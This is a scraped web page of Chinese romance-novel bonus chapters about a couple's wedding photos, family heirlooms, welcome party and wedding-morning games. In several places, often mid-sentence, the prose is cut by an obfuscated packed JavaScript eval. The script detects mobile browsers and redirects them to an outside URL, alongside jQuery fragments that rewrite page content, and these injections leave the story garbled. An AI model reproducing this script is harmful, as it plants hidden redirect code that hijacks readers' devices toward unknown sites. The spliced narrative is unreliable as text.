魏川换衣服很快,见只有孟棠一个人出来,问了句:“你室友呢?” “忙着弄惊喜去了。”孟棠扯了下衬衫的袖口,“我们俩先去操场吧,待会儿吃饭的时候再叫他们。 许鹤清一听,拍了下魏川的肩膀:“我也去找她们。” “行。” 魏川牵住孟棠的手,往操场去。 看见跑道的时候,魏川笑了声:“咱俩在操场上也发生过不少的事。” “是不少,有些事是现在想起来还让人啼笑皆非的程度。” 魏川哼道:“别以为我不知道你在说什么。” 孟棠忍着笑:“谁看见我女朋友了?” 魏川没忍住笑了声:“我当时怎么那么**?我最佩服的是剪辑视频的人,至今都不知道是谁。” 孟棠晃了晃十指交扣的手,说:“我选修课选到篮球的时候,心里挺崩溃的,我本来要选八段锦的,系统卡顿选错了。 “还好卡了一下。”魏川说,“爱情这不就来了。” 如果当时系统没有卡顿,说不定两人就没有交集了。 虽然当时请她雕刻,但具体的过程,在手机上联系就好。 要是没有废弃篮球场的互动,说不定真的有缘无分。 “学长,聊好了吗?”小学弟笑着打断他俩,“咱们能拍了?” “来啊,拍。”魏川搂住孟棠,“你说吧。” “去观看台,咱们拍青春一点,白月光一点。” “好。” 换了好几个地方,白衬衫拍的照片最多,一直到12点才结束。 这个点,食堂的大部队已经撤离。 孟棠给谢泠音打了电话,约在了南食堂。 好久没进学校的餐厅吃饭,一群人吃着吃着追忆往昔,回忆来回忆去,还是觉得学生时代最美好。 “我现在每天都是活人微死的状态。”杨可自嘲了笑了声,“牛马而已。” “其实大家都一样的。”谢泠音说,“每个行业都这样,已经找不到什么激情了,平静如死水,也就魏川他们打球的看着很有生命力。” “他俩一静一动,绝配啊。” 石岚的手指在半空划过一道横线,正好落在孟棠和魏川身上。 几个女生许久没见,中午几乎挨在一起坐,没带两个男生聊天。 魏川和许鹤清自有话题聊。 “你俩打算什么时候结婚?” 许鹤清说:“可能明年,或者后年,等你俩结了婚,我们应该也准备起来了。” 魏川说:“听说你开了一个文化艺术公司,夫妻店啊?” 许鹤清笑道:“泠音学了十几年的画,我不知道算不算有天赋,在留学期间,作品卖的还可以,我向父母借了点,和她一起存下的钱合开的公司。” “挺好的。”魏川说,“你能追去国外陪了她三年,这段经历也算牛逼。” 一般人做不到抛下一切跟着去三年,更何况许鹤清的专业毫无优势。 他决定去的那一刻,魏川就猜到他未来肯定得改行。 跟着谢泠音耳濡目染,应该也了解了不少艺术圈的事。 魏川说:“其实你也算不上改行,现代体育产业的核心是IP经营,一支球队和一场联赛,甚至是一个球星都是IP,你要做的就是包装宣传,以此获得粉丝流量,再通过门票、转播、赞助等等方式进行商业化变现。” “现在呢,谢泠音成了你的第一个IP,只不过从体育转变成了艺术而已,商业模型可以说是一致的。” 许鹤清失笑:“所以说,我做的得心应手啊。” 魏川拿着可乐敬了他一下:“许总。” “操。”许鹤清无语了,“这就相当于我教你篮球巨星一样。” 魏川赶紧认怂:“我错了,千万别叫。” 他还是要脸的。 出了食堂,他们去学校的奶茶店休息了会儿,一直到学生两点上课,孟棠才被谢泠音几个人推着去了雕塑楼一楼的教室。 反锁了门,放下了窗帘,谢泠音让孟棠闭上眼睛。 “神神秘秘。”孟棠笑着闭上了眼睛。 差不多一分钟,石岚打了个响指:“睁开吧。” 孟棠睁开眼睛,看着摆在面前的婚纱愣住了。 杨可笑道:“咱们三个一起买的,肯定不比魏川给你买的贵,只是我们三个的一点心意,今天给你拍个油画风发婚纱照。” 孟棠忽然想起大三上学期的一件小事。 石岚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232156|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在网上刷拍写真的摄影师,随口问了一句:“咱们什么时候也去拍?” 谢泠音和杨可没什么所谓,让她直接问孟棠。 孟棠i人,人多不适,对着镜头也不适。 她没说话,石岚就没再提,只是问了句:“你要是拍的话,想要什么风格的?” “油画风吧。”孟棠说。 “为什么是油画风?”谢泠音转过头来问她,“别是为了迁就我们?” 孟棠摇了摇头:“要不是学了木雕,说不定我也学了油画,我跟爷爷第一次看木雕展的时候,误入了隔壁的油画展,当时就被惊住了。” 光和影的魔法,颜料堆积的肌理,穿透她的眼睛,给了还小的她生理性的震撼。 后来许鹤清和谢泠音要出国的事被父母知道,乱七八糟了好些天,拍摄写真这件事也就不了了之。 谢泠音看着孟棠,说:“我们三个的共同点就是一个专业的,别的不太会,只能尽我们所能,只是希望以后你回忆起来觉得温情的一件事是我们做的。” “谢谢。”孟棠的声线突然哑了下,喉咙像堵了什么东西。 敲门声打断了孟棠的哽咽,杨可去开了门,化妆师到了。 这组照片不用赶时间,混着夕阳是最好的景,化妆用了两个小时,拍的时候已经四点左右。 魏川看到孟棠穿着婚纱愣了下,半天没反应过来。 孟棠觉得好笑:“你愣着干什么?” “怪不得让我换西装。”魏川傻傻道,“原来在这儿等着我呢。” “赶紧走了。”小学弟摄影师喊了声,“今天夕阳绝美。” 一群人浩浩荡荡去了人工湖,湖边摆放着一条破旧的木船,木船上插满了简约清新的花,每一朵都绽放得异常漂亮。 “咱们今天这组照片强调故事性和氛围感,质感是比较细腻的,后面的湖和夕阳融为一体,整体画面是呈暖色调的……” 小学弟给孟棠和魏川解释起来,魏川听不懂,转头盯着孟棠看。 谢泠音她们送给孟棠的婚纱是简约缎面的,光泽感十足,甚至能反射周边的环境色。 为了结合木船的空间,婚纱的裙摆并不过分宽大,配合着魏川的复古三件套,整个基调就非常好看。 “稍微靠近一点,同时向右看,角度一点点就够。” “好,先走起来,慢一点。” “接下来去船上,船是固定的,但还是要小心一点。” “好,对视,学长眼睛睁开,不要睁太大,很好。” “现在靠近一点,鼻尖抵着,幸福一点。” “……” 拍到最后一组,太阳逐渐落了,孟棠靠在魏川的胸口,静静歇了片刻。 魏川转头在她额头上亲了下:“走,衣服换一下,吃饭去。” “好。” 孟棠拉住他的胳膊起身,回到原来的教室换了衣服,卸了妆。 魏川在附近的餐厅订了晚餐的桌,小学弟摄影师推辞自己还有事,率先走了。 刚到餐厅坐下,石岚哈哈笑了声。 孟棠就在她旁边,凑过去问:“笑什么?” 石岚说:“我朋友圈一刷新,都是你俩在学校拍婚纱照的动态。” 第220章 番外36:还有传家宝啊 孟棠和魏川在学校拍婚纱照,虽然特意选在上课时间段,但总有没课的。 婚纱照在朋友圈疯传也属正常,毕竟魏川还活跃在篮球界,本身在学校的时候就出名。 孟棠拿出手机,还没进朋友圈,就看到雕塑专业的群里也在讨论这件事,辅导员还发来了祝福。 有了辅导员的带头,其余人也纷纷加入99大军。 魏川的手搭上孟棠身后的椅子,倾身过去小声地说:“这么多祝福的,还不赶紧发红包。” 红包的上限是200,孟棠按照56个人的人头数,给每个人发了199,这还是跟魏川学的。 红包一经发出,群里彻底沸腾了,简直意外之财。 屏幕更是被表情包刷到没办法看,孟棠笑了声,转头跟魏川说:“吃饭吧。” 中午还能聊两句,这会儿大家都饿了,席间只有筷勺的碰撞声。 吃得差不多了,魏川问许鹤清要不要换场地玩。 许鹤清赶紧摇头:“你还不累啊?” 魏川笑了声:“我总不能吃完饭就开始撵你们走吧?” “你不撵我们走,我们也得走了。”谢泠音说,“孟棠今天最累,你还是把她带回去休息吧?” 孟棠转过头,问谢泠音:“你们现在住哪儿?” 谢泠音:“在中心路那边租了公寓,许鹤清父母给他买了房子,但还没装修好,这段时间在装修。” “你呢?”孟棠看向石岚,“今晚你住哪儿?要不跟我回去。” “我跟杨可走。”石岚说,“她一个人在外面租的房子,我去她那儿多自在。” 孟棠点了点头:“我跟魏川还有几套婚纱照要拍,估计要跑两三个城市,拍完我就得回雁清了,工作丢不开,如果你们有空,可以去找我玩,没有的话,那就下个月21号螺洲岛见了。” “行,下个月见。” 孟棠和魏川回了康铂,情况和昨晚一模一样,洗过澡沾枕即睡,临睡前,还不忘叫魏川给她定闹钟。 魏川看着孟棠,鼻腔里忽然涌出一股猩红的液体。 操!上火了这是。 他赶紧跑进浴室洗干净,看着镜子里狼狈的自己笑了声。 这几天是别想了,拍婚纱照是个累**的活,孟棠还顶着一整天的妆容和繁琐的衣裙。 自我安慰一顿后,魏川爬上床,挨着孟棠睡着了。 他都不敢抱着,生怕又惹出鼻血。 之后的三天,两人连轴转了三个城市,当晚回到了雁清。 晚饭都没吃,两个人一觉睡到了第二天中午,可把方姐心疼坏了。 吃完饭,孟棠终于活过了一点,孟遇春走过来,问她:“吃好了?” 孟棠点了点头。 “你们俩跟我过来吧。” 孟棠和魏川对视了眼,跟着老爷子去了正厅。 “再有个把月,你俩就要结婚了,关于这座老宅,我已经做了公证,以后就留给你俩。” 魏川一愣:“还有我的份啊?” 老爷子难得没唱反调:“你爸妈在z市给孟棠买的房子我看到了,真心换真心罢了。” 魏川叹了声气:“原来不是因为喜欢我。” 孟遇春轻嗤:“你一个大男人,整天说这些肉麻话,怎么说出口的?” 魏川嘿嘿一笑,故意臊白老头,唱道:“爱要怎么说出口啊……” 孟遇春:“……” 孟棠:“……” 孟棠也看不下去了,打断魏川“美妙”的歌声,问老爷子:“您叫我们过来,就是说这个事吗?” 孟遇春起身,从怀里掏出一把钥匙:“跟我来。” 魏川跟在孟棠身后,小声问:“这是要去哪儿?” 孟棠故意神秘道:“传家宝吧。” 魏川果然瞪大了眼睛:“还有传家宝啊?” “说什么你都信。”孟棠白了他一眼。 “我为什么不信啊?”魏川说,“你送给我奶奶的笔筒虽然略有瑕疵,但是是真品,老爷子手头上有什么,也不稀奇吧?” 到了后院,魏川才知道去的是库房。 他之前跟孟棠来的外间,没想到内里有乾坤,还有里间,跟机关似的。 魏川兴奋了一下:“跟电视上有点像啊,在**架后面还有一个空间。” 孟棠说:“爷爷以前喜欢明清的物件,价格合适的就买,他年轻的时候家里有钱,也不在乎,后来孟怀璋出事,去掉了三分之一。” “败家子。”魏川吐槽了一句。 孟遇春回过头:“过来看看吧,以后这把钥匙就交给孟棠了。” 孟棠看过不止一次,但每次都要被惊艳一番。 魏川指了指木架上其中一款笔筒,说:“又是笔筒,跟我奶奶那个不太像啊。” “这是明代黄花梨嵌紫檀高士游山图笔筒,镶嵌工艺,不同颜色的木料,高士、书童及亭台观瀑的场景,好看吗?” 魏川“哇”了声:“跟着你耳濡目染,斗胆说一下吧,衣纹特别流畅,但人物的表情最是生动,厉害啊。” “不然是古董呢。”孟棠笑了声。 “那这个呢,好像是多宝盒。”魏川又问。 孟棠点了点头:“乾隆时期的,是紫檀大料制成的,满工浮雕,纹样华丽且繁复,上面是吸氧传入的西番莲。” 技艺太过精湛,魏川见识少,只能想出这么一句话。 这个库房不大,摆了七八件古董,现在也算值点钱,是孟棠的嫁妆之一。 孟遇春早在孟棠进大学的时候,就着手给孟棠准备了一套婚嫁系列的黄杨木雕。 四五年的时间,断断续续正好完工。 大到大顶箱柜,小到首饰盒,最令魏川感兴趣的是一套微缩的传统婚庆仪仗队。 有锣有马,有轿有人,长街石板,唢呐共鸣,魏川都看入神了。 太有意思了,放家里一辈子也看不够啊。 出了库房,魏川还有些恍惚,孟遇春对孟棠的爱护,全在锋利的刻刀之下。 回了房间,魏川突然有些失落,他拉着孟棠的手,说:“老头给你准备的嫁妆,光心意我就输了。” “嗯?为什么比这个?”孟棠有些不解。 魏川摸了下她的脸:“感觉我给你的只有钱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“所以你到底在不真实什么?”孟棠故意敛下眉眼,“再不说我生气了。” “别别别,我说。”魏川赶紧哄人,“这不是第一次结婚,太紧张了嘛。” “……你还要结几次?”孟棠这次,是真的有点挂脸了。 “呃……我不是那个意思。”魏川小心翼翼瞥了她一眼,“我是自己紧张,你呢?一点都不紧张吗?” 孟棠:“有什么好紧张的,我们俩20号就要飞过去,都有婚礼彩排的。” “说到婚礼,我现在连咱俩的婚服都没看见。” “谁让你没空的,主纱是阿姨定制的,很漂亮。” 婚礼上第一次穿,希望能给魏川一个惊喜,拍婚纱照的婚纱和当天的结婚主纱没法比,最起码视觉呈现上就不一样。 日子不一样,心情更是不一样。 魏川就在这种忐忑又期盼的日子里,等到了六月下旬。 懒得再费事,孟棠和魏川在20号上午,带着老爷子和方姐飞去了螺洲岛。 第221章 番外37:开门,迎亲 螺洲岛六月的气**对而言比较凉爽,但湿度很大。 孟棠和魏川是20号中午抵达岛上的,用过午餐后,担心老爷子身体吃不消,让他先回了房间。 方姐身体一向不错,想着能不能有帮忙的地方,一直跟着孟棠和魏川。 这个岛已经被魏家包了,从20号开始,到婚礼结束,所有宾客离开之前,外人都不能上岛。 方姐跟了一圈,发现自己毫无用处,不禁有些沮丧。 魏川赶紧安慰道:“我刚才就想让您回房休息,怕拒绝了让您不舒服,这下看到了吧,婚礼有团队的,每一个环节都有专业的人把控,您放心吧。” 方姐感叹魏川的贴心,没有任何顾虑地回了房间。 明天才会进行婚礼的彩排,魏川下午没事,和孟棠将所有流程细节对了一遍。 明晚有个欢迎派对,目的是让两方亲友熟悉一下,争取让后天的婚礼,每个人都有一个完美的状态,给新郎新娘提供一些情绪价值。 尤其孟棠这边的亲友很少,更需要魏川这边的人照顾到位。 早在之前,魏川就跟楚茵反应了这个情况。 因为有的亲朋,眼睛长头顶上,话里话外都是孟棠高攀的语气。 说的就是魏川的舅妈,当时她和楚茵开视频电话,正好被魏川听到了。 他脸面也没顾,发了通脾气。 但毕竟是亲舅妈,不可能不来往,楚茵只能让她给魏川道了歉。 若是婚礼上再这样,必然弄得两方不愉快,所以魏川格外注重这一点,他不想在最幸福的日子里,让孟棠有一丁点的不舒服。 “这也太细了,”孟棠说,“分工也十分明确,很专业。” 魏川应了声,看了眼手表,说:“日落时间了,出去走走?” “好。” 孟棠拉住他伸过来的手,出了酒店房间。 第一抹余晖倒映在海面上,孟棠脱了鞋,踩在细软的沙滩上。 魏川也没管她,沙滩都做过清理。 孟棠抬手搭上魏川的肩膀,亲昵地说:“拍张照片吧。” “行。”魏川拿出手机,调整成自拍模式。 孟棠垫着脚趴在他肩头,朝镜头比了个“耶”。 魏川失笑:“你永远只会这一个动作。” 孟棠捏住他的脸:“我还会这样。” 魏川收起手机,坏笑了声,猝不及防将她打横抱起,沿着沙滩狂奔。 “魏川!”孟棠被他吓了一跳。 “哈哈哈……”魏川的兴奋溢于言表,跑了一段后,他将孟棠放下来,在她脸上狠狠亲了口,“我太开心了。” 孟棠笑着蹲下去,用手指在沙滩上画了个爱心。 魏川在旁边加了一颗。 两人顺势坐在沙滩边,迎接绚烂的云渐渐被黑暗吞噬。 黑暗之后又是黎明,当天晚上,魏家人抵达螺洲岛,隔天下午,宾客们陆续抵达。 彼时孟棠和魏川结束了婚礼排练,换了衣服去迎宾。 除了两个寝室的人,另外还有文心予和谭曦。 谭曦上来就说:“还好提前进了你们两个寝室的群,不然我都怕我摸不着这里。” 孟棠笑着和她抱了下:“辛苦了。” “恭喜。”谭曦笑了声,“可算给我等到了今天,我还以为你把曾经的承诺给忘了。” “怎么会。”孟棠微微侧过身体,“先进去休息吧。” “好。” 话音刚落,一道闪电般的影子快速地冲了过来,魏川一把按在来人胸膛:“说归说,别上手啊。” “靠。”梁衡不大乐意,“哥们,咱俩多久没见了?” 李卓上前一步:“你搞什么特殊?我跟川哥也好久没见了啊。” 魏川:“……你俩在争什么宠?” 李卓和梁衡同时被魏川恶心到,默契地往后退了一步,一副不想沾上,除非叫我爸爸的表情。 魏川看向许鹤清:“赶紧把他俩带进去休息,不然我会觉得我在看傻子。” 许鹤清从背后揽住他俩:“走了,傻子们。” 谢泠音轻嗤了声:“你们真的好幼稚。” 石岚和杨可纷纷附议。 “好了,赶紧进去吧。”孟棠拉住谢泠音,“还有一批宾客,我和魏川还要迎接,你们回房间,休息会儿就得换装进场了。” 石岚第一次参加婚前的欢迎派对,整个人都很兴奋。 她拉住谢泠音和杨可:“赶紧走,孟棠给我准备的衣服我光看视频也不解馋,非得试试才行。” “走走走。”谢泠音无奈道,“你别拽啊,小心摔倒。” 送走了一群知根知底的损人,孟棠和魏川相视一笑。 派对在晚上六点二十八分正式开始,一楼大厅全落地窗的设计,让海边烧红的晚霞尽落眼底。 宴会差不多九点结束,宴会上的酒精也没什么度数,保证宾客第二天准时参加婚宴。 孟棠换了身紫色斜肩小礼服,魏川是与之相配的灰紫色衬衫搭西装裤。 服务生给两人送上了特调鸡尾酒,是为了今晚的欢迎宴特地准备的。 魏立峰做了个简单的欢迎致辞后,宾客们自由用餐。 为了感谢每一位的到来,孟棠和魏川需要去每一桌互动感谢一番。 论熟悉程度,还是在朋友那桌停留的时间最长。 酒店之后有个甜点时间,宾客们不想回房间的也可以找自己熟悉的人随意走动、聊天。 孟棠必须得回房间了,因为明早她要早起化妆,从这一刻开始,魏川就不能再见她了。 谢泠音一个眼神,其余的女生全都跟着孟棠回了房间。 除了文心予,都是伴娘,明早就要接亲,怎么着也得把流程给整明白吧。 孟棠失笑:“你们关心的哪里是流程,关心的是明天上午,怎么把他们几个拦在外面吧?” 谢泠音嘿嘿一笑:“先拦再说嘛,红包到位了,什么都好说。” “我觉得行不通。”文心予插了句嘴,“魏川最不缺的就是钱吧,你要多少红包他没有,还能跟你讨价还价?他把红包一撒,你还好意思拦着?” “我去。”石岚崇拜地看着文心予,“你发现了盲点。” 文心予耸了下肩:“所以说,红包这条不管用,诚意最有用,魏川为了娶到孟棠,什么要求不会答应。” 而且她们整的这些活都是无伤大雅的小游戏,没什么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟棠率先吃完,坐到了化妆镜前,摄影师和摄像师双机位到达指定地点——开拍! 谢泠音她们作为伴娘,自然也需要化妆,也有专门的化妆师。 她们的妆容自然大方就行,相比孟棠,快了许多。 孟棠的妆发是很早之前就试过定好的,即便如此,还是化了两个半小时。 上午一系列的仪式需要穿的是中式裙褂婚服,所以是盘发。 孟棠本身的气质就很贴合这种妆造,红色婚服一穿,有一种岁月沉淀下来的惊人的东方美,内敛温柔的眼神能将所有人融化。 谢泠音一群人围在她身边看,讨论孟棠身上的婚服。 孟棠其实一问三不知道,她和魏川的婚服全权由楚女士负责。 一群女生叽叽喳喳地聊了许久,直至楼下不知道哪个大嗓门破坏性十足地喊了声:“开门,迎亲!” 孟棠一惊:“时间到了?” 谢泠音赶紧看了眼手机:“九点十八分,差不多了。” 孟棠心脏一紧,呼吸乱了一刹。 第222章 番外38:迎亲 拦门不止房门这一道,还有酒店楼下的大门。 除了孟棠,屋里的人全都挤在落地窗前看楼下的战况。 文心予一早就去了楼下,算作孟棠的娘家人一起拦门。 玻璃是隔音的,楼上并不能听到多少楼下的动静,只知道双方战况胶着。 谢泠音“扑哧”一声回过头,跟孟棠说:“怎么魏川的三姐也在拦门的人群里啊。” 孟棠诧异地看过去:“沅沅姐在拦门?” 杨可说:“没错,魏川正指着她的鼻子不知道说了什么。” “还能说什么?我看口型是胳膊肘往外拐。”谭曦视力极佳。 “有点像。”石岚说,“但魏川是不是急上头了,这也没往外拐啊,孟棠也是魏家的一份子了。” 谢泠音:“所以魏思沅挡在那儿,也挺合理。” 孟棠多想自己去看一眼,大概半小时,谢泠音她们忽然拎着裙子往门边跑: “快快快,他们上来了!” “锁门锁门。” “已经锁了。” “我滴妈,我为什么好紧张。” “我也是。” 孟棠:“……” 她才是最紧张的,有没有人来关心她一下。 没一会儿,房门被嘭嘭拍响:“开门开门!” 一群土匪来着,这动静一听就知道是秦渊。 “不开。”石岚怼回去,“红包拿来。” “最下面的门缝啊,接着。”秦渊直接跪趴下去,“我川哥能缺你们的红包?拿了赶紧开门。” 八个红包被塞了进来,里面四个伴娘,吊个小胃口,是一人两个的意思。 石岚将红包分掉后,示意谢泠音上前。 谢泠音清了清嗓子:“快问快答十题啊,对了八道以上才算过关,正确答案在心予的手机里,到时候她会告诉你们过没过。” 李卓:“我去,明目张胆把卧底搁在外边啊?” 谢泠音哼了声:“玩不玩吧?” 魏川大喊一声:“来。” “一见钟情还是日久生情。” 魏川:“日久生情。” “夏天还是冬天?” “夏天。” “篮球还是木雕?” “呃……木雕。” “拥抱还是亲吻。” “当然是亲吻。” 孟棠:“……” 不带一丝犹豫。 “依赖还是被依赖?” “被依赖。” “……” “最后一个了,我爱孟棠还是孟棠爱我?” “我爱孟棠。” 话音刚落,李卓就问文心予:“怎么样?” 文心予说:“错了一个。” “不可能。”魏川当即**道,“怎么可能错了一个?” 文心予将魏川一早答好的视频给他看,在“拥抱还是亲吻”这个问题上,孟棠选了拥抱。 “不可能,她一定是录视频的时候不好意思,才说的拥抱,她明明——” “闭嘴!”孟棠急得没了形象,朝门外吼了句,吼完自己红了一张脸。 “哦哦……川哥,明明什么啊?” 魏川清了清嗓子:“赶紧再给里面发红包,用红包把这扇门砸开。” 谢泠音一听这话,转头看了眼孟棠:“这可是你老公说的。” 孟棠:“……让他发。” 杨可嘿笑一声,蹲下去和谢泠音一个一个将红包拿了进来。 “现在可以开门了吧?” 谢泠音看了眼时间,喊:“别挤啊,现在就开。” 魏川:“别动,往后退。” 谢泠音见门口真的没动静了,小心翼翼将门开了条缝。 梁衡以为她们还有花招,直接抬手挡住了门框。 谢泠音立刻后退,房门打开,让魏川一下看见了穿着红色中式婚服的孟棠,周身环绕着隆重又温柔的华彩。 金线银线,纹样繁复,绣工精美之余,将孟棠独特内敛的气质展露无遗。 长发被一丝不苟地绾起,露着一小截修长的脖颈,承托着头顶上的金饰,一点不显俗气。 两人的视线在半空中接触了一瞬,魏川一眨不眨,孟棠率先撑不住,移开了视线。 从魏川进来的那一刻,孟棠突然紧张了起来,手指捏着裙底的流苏轻轻晃动,可爱的小动作被魏川尽收眼底。 魏川刚要上前,被谢泠音拦了下:“哎等等,门是进来到了,不代表你能把人带走,明确告诉你们,鞋子呢,就在谭曦身上,你们谁敢去搜?” 梁衡举手:“我单身,我来。” 谭曦白了他一眼:“滚!” 嘲笑声四起,梁衡厚着脸皮道:“我开玩笑的,活跃一下气氛。” 谢泠音吐槽了一句:“母胎solo至今,你怎么好意思说出来的。” 谭曦显然没想到这人是母胎solo,十分明显地笑了声,听得出来是嘲笑。 梁衡的脸丢尽了,默默往后退了退,将前方战场留给许鹤清、李卓和秦渊。 许鹤清笑着问谢泠音:“还有什么招啊?” 谢泠音指了指床尾对面的柜子:“那里摆着各种各样的爱情水啊,有苦瓜水,柠檬水,山楂水,还有加了糖的水和辣椒水,象征爱情的酸甜苦辣,你们五个人一人一杯,十秒内面无表情就算你们过关。” “我去。”秦渊喉咙都开始疼了,“要不让新郎一个人喝吧?迎接爱情的道路上,总得解决些波折。” 魏川一把掐住他的后脖颈:“你现在就去给我选一杯。” 杯子都是封闭的,中间插着吸管。 石岚赶紧补充了句:“不许闻,直接拿。” 魏川选了最近的一杯,说:“喝了不许功亏一篑啊,给我忍着听到没有?” 兄弟们一个个点了头。 五个人站成一排,在谢泠音一句“开始”中含入吸管,三秒不到,除了梁衡之外集体龇牙咧嘴。 梁衡哈哈大笑:“今天的天选之子是我啊,老子喝到了爱情甜蜜水,这是不是代表我的桃花要来了?” 谢泠音朝魏川伸手:“赶紧给红包吧。” 魏川喝到了辣椒水,他一个劲地咳,许鹤清的牙齿都快被酸掉了,他从怀里掏出四个红包给了谢泠音。 秦渊舌头都快苦麻了,他张着嘴巴问:“还有什么,给我全都摆上来,我还就不信了。” 石岚说:“盘子上摆着的吐司看到没有,随便你们几个人,只用牙齿咬出‘love’的字母就行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252722|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“真损啊。”魏川笑了声,“从哪儿弄来的游戏?” 石岚:“那你就别管了,这个太有损面部形象,你是新郎,摄像机一旁录着呢,你可以派出你的伴郎团出征。” 那敢情好啊,魏川给了另外三个人一个眼色:“咬啊,愣着干什么?” 梁衡甩膀子就上,一副为了兄弟幸福可以插自己两刀的模样,十分具有牺牲精神。 许鹤清干咳了声:“我看他一个人可以摆平。” 秦渊默默道:“加一。” 李卓附和道:“我也觉得。” 他女朋友还在这儿呢,埋头对着盘子的吐司乱啃一通,要别对方笑一辈子。 “唔……你妈唔……” 梁衡刚想骂两句兄弟们的缺德,李卓一把将他按了回去:“梁子加油,哥哥给你鼓掌。” 梁衡面目狰狞,啃了半天,“love”形状的面包条碎成了渣渣。 “太拼了。”石岚鼓掌,“我觉得可以过关。” 谢泠音点了点头:“行,放你们一马。” 梁衡一笑,喷了一地的面包屑,模样十分滑稽且可怜。 魏川拍了拍他的肩膀:“好兄弟,今天绝不让你白干。” “这还差不多。”梁衡拍了拍伴郎服的面包屑。 “最后一个啊。”谢泠音竖起食指,“托盘里放着一块冰,里面有拿鞋的钥匙,不要暴力破坏取出来就行。” 谭曦身上背着一个箱子,箱子里锁着的就是孟棠的鞋。 秦渊瞪着眼:“不让暴力拆卸,我们四个伴郎难不成一人含住一个角,用我们滚烫的唇瓣去融化冰块小姐吗?” “噗嗤——”杨可第一个没忍住,笑喷了,为什么讲话能这么逗? 屋里的笑声差点没掀了天花板,就连孟棠都笑得直不起腰。 梁衡就是个傻子,他看向秦渊:“要不试试?” 秦渊:“……我终于知道你为什么是母胎solo了。”正常人看不上傻子。 梁衡这小伙子一向敢想敢干,他上嘴咬了口,差点没把牙给崩掉。 他又暗戳戳换了种方式,直接解开扣子试图用温暖的胸膛融化高冷的冰块小姐。 冰块小姐太过高冷,纹丝没变。 最后还是许鹤清从浴室里拿了吹风机过来,才解决了眼前的困境。 随后魏川又让秦渊去别的房间拿了几个吹风机一起加大了马力才拿到钥匙。 闹得差不多了,时间卡得也挺好。 谭曦将装着鞋子的木盒子递给了魏川,魏川朝孟棠扬了下钥匙:“我开了。” 孟棠点了点头:“你开啊。” 魏川将盒子放在桌上,弯着腰开了锁,拿出红色的婚鞋,随后在床尾单膝跪地,仰头看向孟棠:“给你穿了?” “好。” 其他人十分上道,纷纷给双机位让出位置。 魏川的表情十分虔诚,郑重其事地给孟棠穿上了鞋。 还没等起哄,他双手撑在床边起身,对着孟棠的唇亲了下,自然赢得满堂喝彩。 孟棠从床上下来:“敬茶去吧。” 魏川朝她伸手:“走,改口去了。” 孟棠将手放至他的掌心,被他包裹其中,往幸福路去。 第223章 番外39:婚礼 贴着“囍”字的盖碗杯盛着红枣莲子茶,孟棠和魏川相携跪在垫子上。 伴郎伴娘将茶盘端到魏川和孟棠的两侧,两人端起茶杯,微微仰头抿了口。 孟遇春将两个红包放置茶盘中,一句废话也没有:“去吧。” “谢谢爷爷。”魏川扶起孟棠。 后边的梁衡抵了抵李卓:“老爷子大气,没有一点舍不得,可见咱川哥平时对孟棠有多好。” 李卓:“……你村里刚通网?” 梁衡一愣:“什么意思?” 李卓说:“反正我将来的闺女要是结了婚后还住家里的话,我对女婿也会很好。” 梁衡反应了半天,“卧槽”一声:“川哥入赘了?” 李卓:“我和魏川以前在群里发的消息,敢情你也没看啊。” 梁衡:“……” 他工作那么忙,谁还看群里消息? 孟棠跟随魏川穿过走廊去了另一个房间,给魏川爸妈敬茶。 从今天起,孟棠收了红包改了口。 楚茵一时间很是感慨,真正高兴时一句话也说不出来,只是让他俩好好的。 没人煽情,只有平静的幸福缓缓流淌。 最重要的环节至此落幕,魏川扶起孟棠,说:“拍照了。” 拍的是全家福,可惜魏思琳不在。 魏川和孟棠换了位置拍了好几组,上午的流程全部走完,已经过了12点。 楚茵给了魏川一个眼色:“赶紧带孟棠回去换身衣服,马上开席了。” “好。” 中午再穿着婚服就太过累赘了,孟棠换了身轻便的礼服,魏川也换了身西装,只不过脱去了外套。 真正的婚宴在晚上,中午自然随意得多。 午饭后有个休息时间,酒店里一下安静了下来。 魏川陪孟棠回了房间,两人默契十足地倒在床铺上。 “累不累?”魏川偏过头,看着孟棠的耳朵尖。 孟棠打了个哈欠,侧过身体闭上了眼睛:“累。” “两点半有外景拍摄,睡一会儿吧。” “嗯。”孟棠低低应了声,挨着魏川睡着了。 她在这个人身边,会安心到什么都不用想,只管自己想做什么。 魏川的爱是一座安全感雕刻的城堡,坚不可摧。 安静的房间里,魏川在孟棠额头落下一触即离的吻。 就这么结婚了,人和人的相遇永远轰轰烈烈在几个瞬间,这一天也是其一。 